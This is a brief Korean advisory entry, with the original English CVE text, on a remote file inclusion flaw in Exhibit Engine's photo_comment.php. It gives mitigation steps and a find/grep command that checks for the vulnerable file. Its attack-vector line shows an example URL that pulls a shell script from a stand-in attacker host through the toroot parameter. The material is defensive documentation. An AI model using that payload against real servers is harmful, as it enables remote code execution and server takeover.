🇰🇷 한글 설명
Exhibit Engine 1.5 RC 4 이하 버전의 photo_comment.php 파일에서 toroot 파라미터를 통한 원격 파일 포함(RFI) 취약점입니다. 이를 악용하면 공격자가 원격지의 악의적인 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
Exhibit Engine이라는 사진 갤러리 프로그램에서 외부 파일을 잘못 불러오게 하는 보안 결함이 있습니다. 공격자가 악의적인 코드 주소를 전달하면 그 코드가 웹 서버에서 실행됩니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in photo_comment.php in Exhibit Engine 1.5 RC 4 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the toroot parameter.
📍 영향받는 시스템
Exhibit Engine 1.5 RC 4 이하 모든 버전
⚔️ 공격 벡터
photo_comment.php?toroot=http://attacker.com/shell.php 형태의 URL 파라미터 조작
🛡️ 대응 방법
Exhibit Engine을 최신 버전으로 업그레이드하거나 photo_comment.php 파일의 toroot 파라미터 검증 및 원격 파일 포함(allow_url_include) 비활성화
🔧 검증 코드
photo_comment.php 파일이 발견되고 toroot 변수가 포함되어 있으면 영향받는 버전이 설치된 상태입니다. 파일이 없으면 해당 애플리케이션이 미설치 상태입니다.
find / -name 'photo_comment.php' 2>/dev/null | head -1 | xargs grep -l 'toroot' 2>/dev/null